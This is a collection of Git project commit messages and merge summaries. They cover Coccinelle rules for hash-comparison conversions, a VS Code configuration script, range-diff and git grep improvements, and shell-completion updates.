coccinelle rule is slightly more complex to avoid triggering
the call in hasheq().
I didn't bother to add a new rule to convert:
- hasheq(E1->hash, E2->hash)
+ oideq(E1, E2)
Since these are new functions, there won't be any such
existing callers. And since most of the code is already
using oideq, we're not likely to introduce new ones.
We might still see "!hashcmp(E1->hash, E2->hash)" from topics
in flight. But because our new rule comes after the existing
ones, that should first get converted to "!oidcmp(E1, E2)"
and then to "oideq(E1, E2)".
Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Using the more restrictive oideq() should, in the long run,
give the compiler more opportunities to optimize these
callsites. For now, this conversion should be a complete
noop with respect to the generated code.
The result is also perhaps a little more readable, as it
avoids the "zero is equal" idiom. Since it's so prevalent in
C, I think seasoned programmers tend not to even notice it
anymore, but it can sometimes make for awkward double
negations (e.g., we can drop a few !!oidcmp() instances
here).
This patch was generated almost entirely by the included
coccinelle patch. This mechanical conversion should be
completely safe, because we check explicitly for cases where
oidcmp() is compared to 0, which is what oideq() is doing
under the hood. Note that we don't have to catch "!oidcmp()"
separately; coccinelle's standard isomorphisms make sure the
two are treated equivalently.
I say "almost" because I did hand-edit the coccinelle output
to fix up a few style violations (it mostly keeps the
original formatting, but sometimes unwraps long lines).

Sometimes we want to suppress a coccinelle transformation
inside a particular function. For example, in finding
conversions of hashcmp() to oidcmp(), we should not convert
the call in oidcmp() itself, since that would cause infinite
recursion. We write that like this:
@@
identifier f != oidcmp;
expression E1, E2;
@@
f(...) {...
- hashcmp(E1->hash, E2->hash)
+ oidcmp(E1, E2)
...}
to match the interior of any function _except_ oidcmp().
Unfortunately, this doesn't catch all cases (e.g., the one
in sequencer.c that this patch fixes). The problem, as
explained by one of the Coccinelle developers in [1], is:
For transformation, A ... B requires that B occur on every
execution path starting with A, unless that execution path
ends up in error handling code. (eg, if (...) { ...
return; }). Here your A is the start of the function. So
you need a call to hashcmp on every path through the
function, which fails when you add ifs.
[...]
Another issue with A ... B is that by default A and B
should not appear in the matched region. So your original
rule matches only the case where every execution path
contains exactly one call to hashcmp, not more than one.
One way to solve this is to put the pattern inside an
angle-bracket pattern like "<... P ...>", which allows zero
or more matches of P. That works (and is what this patch
does), but it has one drawback: it matches more than we care
about, and Coccinelle uses extra CPU. Here are timings for
"make coccicheck" before and after this patch:
[before]
real 1m27.122s
user 7m34.451s
sys 0m37.330s
[after]
real 2m18.040s
user 10m58.310s
sys 0m41.549s
That's not ideal, but it's more important for this to be
correct than to be fast. And coccicheck is already fairly
slow (and people don't run it for every single patch). So
it's an acceptable tradeoff.
There _is_ a better way to do it, which is to record the
position at which we find hashcmp(), and then check it
against the forbidden function list. Like:
@@
position p : script:python() { p[0].current_element != "oidcmp" };
expression E1,E2;
@@
- hashcmp@p(E1->hash, E2->hash)
+ oidcmp(E1, E2)
This is only a little slower than the current code, and does
the right thing in all cases. Unfortunately, not all builds
of Coccinelle include python support (including the ones in
Debian). Requiring it may mean that fewer people can easily
run the tool, which is worse than it simply being a little
slower.
We may want to revisit this decision in the future if:
- builds with python become more common
- we find more uses for python support that tip the
cost-benefit analysis
But for now this patch sticks with the angle-bracket
solution, and converts all existing cocci patches. This
fixes only one missed case in the current code, though it
makes a much better difference for some new rules I'm adding
(converting "!hashcmp()" to "hasheq()" misses over half the
possible conversions using the old form).

Add a script (in contrib/) to help users of VSCode work better with
our codebase.
* js/vscode:
vscode: let cSpell work on commit messages, too
vscode: add a dictionary for cSpell
vscode: use 8-space tabs, no trailing ws, etc for Git's source code
vscode: wrap commit messages at column 72 by default
vscode: only overwrite C/C++ settings
mingw: define WIN32 explicitly
cache.h: extract enum declaration from inside a struct declaration
vscode: hard-code a couple defines
contrib: add a script to initialize VS Code configuration
After using this command extensively for the last two months, this
developer came to the conclusion that even if the dual color mode still
leaves a lot of room for confusion about what was actually changed, the
non-dual color mode is substantially worse in that regard.
Therefore, we really want to make the dual color mode the default.

Tab completion of `git range-diff` is very convenient, especially
given that the revision arguments to specify the commit ranges to
compare are typically more complex than, say, what is normally passed
to `git log`.

This mixture of quoting, pipes, and here-docs to produce expected
results in shell variables is difficult to follow. Simplify by using
simpler constructs that write output to files instead.
Noticed because without this patch, t/chainlint is not able to
understand the script in order to validate that its subshells use an
unbroken &&-chain, causing "make -C contrib/subtree test" to fail with
error: bug in the test script: broken &&-chain or run-away HERE-DOC:
in t7900.21.

By default, the cSpell extension ignores all files under .git/. That
includes, unfortunately, COMMIT_EDITMSG, i.e. commit messages. However,
spell checking is *quite* useful when writing commit messages... And
since the user hardly ever opens any file inside .git (apart from commit
messages, the config, and sometimes interactive rebase's todo lists),
there is really not much harm in *not* ignoring .git/.
The default also ignores `node_modules/`, but that does not apply to
Git, so let's skip ignoring that, too.

The quite useful cSpell extension allows VS Code to have "squiggly"
lines under spelling mistakes. By default, this would add too much
clutter, though, because so much of Git's source code uses words that
would trigger cSpell.
Let's add a few words to make the spell checking more useful by reducing
the number of false positives.

The C/C++ settings are special, as they are the only generated VS Code
configurations that *will* change over the course of Git's development,
e.g. when a new constant is defined.
Therefore, let's only update the C/C++ settings, also to prevent user
modifications from being overwritten.
Ideally, we would keep user modifications in the C/C++ settings, but
that would require parsing JSON, a task for which a Unix shell script is
distinctly unsuited. So we write out .new files instead, and warn the
user if they may want to reconcile their changes.

Sadly, we do not get all of the definitions via ALL_CFLAGS. Some defines
are passed to GCC *only* when compiling specific files, such as git.o.

VS Code is a lightweight but powerful source code editor which runs on
your desktop and is available for Windows, macOS and Linux. Among other
languages, it has support for C/C++ via an extension, which offers to
not only build and debug the code, but also Intellisense, i.e.
code-aware completion and similar niceties.
This patch adds a script that helps set up the environment to work
effectively with VS Code: simply run the Unix shell script
contrib/vscode/init.sh, which creates the relevant files, and open the
top level folder of Git's source code in VS Code.

"git grep" learned the "--column" option that gives not just the
line number but the column number of the hit.

builtin/grep.c: add '--column' option to 'git-grep(1)'
grep.c: display column number of first match
grep.[ch]: extend grep_opt to allow showing matched column
grep.c: expose {,inverted} match column in match_line()
Documentation/config.txt: camel-case lineNumber for consistency
A recent patch series renamed the get_commit_tree_from_graph method but
forgot to update the coccinelle script that exempted it from rules
regarding accesses to 'maybe_tree'. This fixes that oversight to bring

Continuing with the idea to programmatically enumerate various
pieces of data required for command line completion, the codebase
has been taught to enumerate options prefixed with "--no-" to
negate them.
* nd/completion-negation:
completion: collapse extra --no-.. options
completion: suppress some -no- options
parse-options: option to let --git-completion-helper show negative form
"git remote update" can take both a single remote nickname and a
nickname for remote groups, and the completion script (in contrib/)
has been taught about it.
* ls/complete-remote-update-names:
completion: complete remote names too
